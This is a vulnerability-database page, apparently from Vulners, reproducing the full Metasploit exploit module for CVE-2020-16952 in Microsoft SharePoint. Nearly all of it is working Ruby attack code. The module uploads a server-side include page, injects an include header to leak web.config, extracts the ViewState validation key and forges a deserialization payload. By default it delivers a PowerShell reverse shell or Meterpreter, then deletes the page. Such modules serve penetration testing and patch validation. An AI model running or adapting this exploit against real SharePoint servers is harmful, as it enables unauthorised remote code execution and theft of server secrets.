Lucene search
K

Microsoft SharePoint Server-Side Include and ViewState RCE

🗓️ 19 Oct 2020 17:41:04Reported by mr_me, wvu <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 170 Views

Microsoft SharePoint Server-Side Include and ViewState RCE. Exploits SSI to leak web.config and forge malicious ViewState

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Sharepoint
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft SharePoint Server-Side Include and ViewState RCE',
        'Description' => %q{
          This module exploits a server-side include (SSI) in SharePoint to leak
          the web.config file and forge a malicious ViewState with the extracted
          validation key.

          This exploit is authenticated and requires a user with page creation
          privileges, which is a standard permission in SharePoint.

          The web.config file will be stored in loot once retrieved, and the
          VALIDATION_KEY option can be set to short-circuit the SSI and trigger
          the ViewState deserialization.

          Tested against SharePoint 2019 on Windows Server 2016.
        },
        'Author' => [
          'mr_me', # Discovery and exploit
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-16952'],
          ['URL', 'https://srcincite.io/advisories/src-2020-0022/'],
          ['URL', 'https://srcincite.io/pocs/cve-2020-16952.py.txt'],
          ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952']
        ],
        'DisclosureDate' => '2020-10-13', # Public disclosure
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
                'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
              }
            }
          ],
          [
            'PowerShell Stager',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh_stager,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
              }
            }
          ]
        ],
        'DefaultTarget' => 2,
        'DefaultOptions' => {
          'DotNetGadgetChain' => :TypeConfuseDelegate
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [UNRELIABLE_SESSION], # SSI may fail the second time
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('VALIDATION_KEY', [false, 'ViewState validation key']),
      OptString.new('COOKIE', [false, 'SharePoint cookie if you have one']),
      # "Promote" these advanced options so we don't have to pass around our own
      OptString.new('HttpUsername', [false, 'SharePoint username']),
      OptString.new('HttpPassword', [false, 'SharePoint password'])
    ])
  end

  def post_auth?
    true
  end

  def username
    datastore['HttpUsername']
  end

  def password
    datastore['HttpPassword']
  end

  def cookie
    datastore['COOKIE']
  end

  def vuln_builds
    # https://docs.microsoft.com/en-us/officeupdates/sharepoint-updates
    # https://buildnumbers.wordpress.com/sharepoint/
    [
      [Rex::Version.new('15.0.0.4571'), Rex::Version.new('15.0.0.5275')], # SharePoint 2013
      [Rex::Version.new('16.0.0.4351'), Rex::Version.new('16.0.0.5056')], # SharePoint 2016
      [Rex::Version.new('16.0.0.10337'), Rex::Version.new('16.0.0.10366')] # SharePoint 2019
    ]
  end

  def check
    build = sharepoint_get_version('cookie' => cookie)

    if build.nil?
      return CheckCode::Unknown('Failed to retrieve the SharePoint version number')
    end

    if vuln_builds.any? { |build_range| build.between?(*build_range) }
      return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")
    end

    CheckCode::Safe("SharePoint #{build} is not a vulnerable build.")
  end

  def exploit
    if username.blank? && password.blank?
      if cookie.blank?
        fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword or COOKIE are required for exploitation')
      end

      print_warning('Using the specified COOKIE for authentication')
    end

    if (@validation_key = datastore['VALIDATION_KEY'])
      print_status("Using ViewState validation key #{@validation_key}")
    else
      create_ssi_page
      leak_web_config
    end

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :win_cmd
      execute_command(payload.encoded)
    when :win_dropper
      execute_cmdstager
    when :psh_stager
      execute_command(cmd_psh_payload(
        payload.encoded,
        payload.arch.first,
        remove_comspec: true
      ))
    end
  end

  def create_ssi_page
    print_status("Creating page for SSI: #{ssi_path}")

    res = send_request_cgi(
      'method' => 'PUT',
      'uri' => ssi_path,
      'cookie' => cookie,
      'data' => ssi_page
    )

    unless res
      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
    end

    unless [200, 201].include?(res.code)
      if res.code == 401
        fail_with(Failure::NoAccess, "Failed to auth with creds #{username}:#{password}")
      end

      fail_with(Failure::NotFound, 'Failed to create page')
    end

    print_good('Successfully created page')
    @page_created = true
  end

  def leak_web_config
    print_status('Leaking web.config')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => ssi_path,
      'cookie' => cookie,
      'headers' => {
        ssi_header => '<form runat="server" /><!--#include virtual="/web.config"-->'
      }
    )

    unless res
      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
    end

    unless res.code == 200
      fail_with(Failure::NotFound, "Failed to retrieve #{ssi_path}")
    end

    unless (web_config = res.get_xml_document.at('//configuration'))
      fail_with(Failure::NotFound, 'Failed to extract web.config from response')
    end

    print_good("Saved web.config to #{store_loot('web.config', 'text/xml', rhost, web_config.to_xml, 'web.config', name)}")

    unless (@validation_key = extract_viewstate_validation_key(web_config))
      fail_with(Failure::NotFound, 'Failed to extract ViewState validation key')
    end

    print_good("ViewState validation key: #{@validation_key}")
  ensure
    delete_ssi_page if @page_created
  end

  def delete_ssi_page
    print_status("Deleting #{ssi_path}")

    res = send_request_cgi(
      'method' => 'DELETE',
      'uri' => ssi_path,
      'cookie' => cookie,
      'partial' => true
    )

    unless res
      print_error("Target did not respond to #{__method__}")
      return
    end

    unless res.code == 204
      print_warning('Failed to delete page')
      return
    end

    print_good('Successfully deleted page')
  end

  def execute_command(cmd, _opts = {})
    sharepoint_execute_command_via_viewstate(cmd, @validation_key, { 'cookie' => cookie })
  end

  def ssi_page
    <<~XML
      <%@ Register Tagprefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPages" Assembly="Microsoft.SharePoint, Version=14.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
      <WebPartPages:DataFormWebPart runat="server">
      <ParameterBindings>
        <ParameterBinding Name="#{ssi_param}" Location="ServerVariable(HTTP_#{ssi_header})" DefaultValue="" />
      </ParameterBindings>
        <xsl>
          <xsl:stylesheet xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
            <xsl:param name="#{ssi_param}" />
            <xsl:template match="/">
              <xsl:value-of select="$#{ssi_param}" disable-output-escaping="yes" />
            </xsl:template>
          </xsl:stylesheet>
        </xsl>
      </WebPartPages:DataFormWebPart>
    XML
  end

  def ssi_path
    @ssi_path ||= normalize_uri(target_uri.path, "#{rand_text_alphanumeric(8..42)}.aspx")
  end

  def ssi_header
    @ssi_header ||= rand_text_alphanumeric(8..42)
  end

  def ssi_param
    @ssi_param ||= rand_text_alphanumeric(8..42)
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jan 2026 18:58Current
7.8High risk
Vulners AI Score7.8
CVSS 26.8
CVSS 3.17.8 - 8.6
EPSS0.75075
170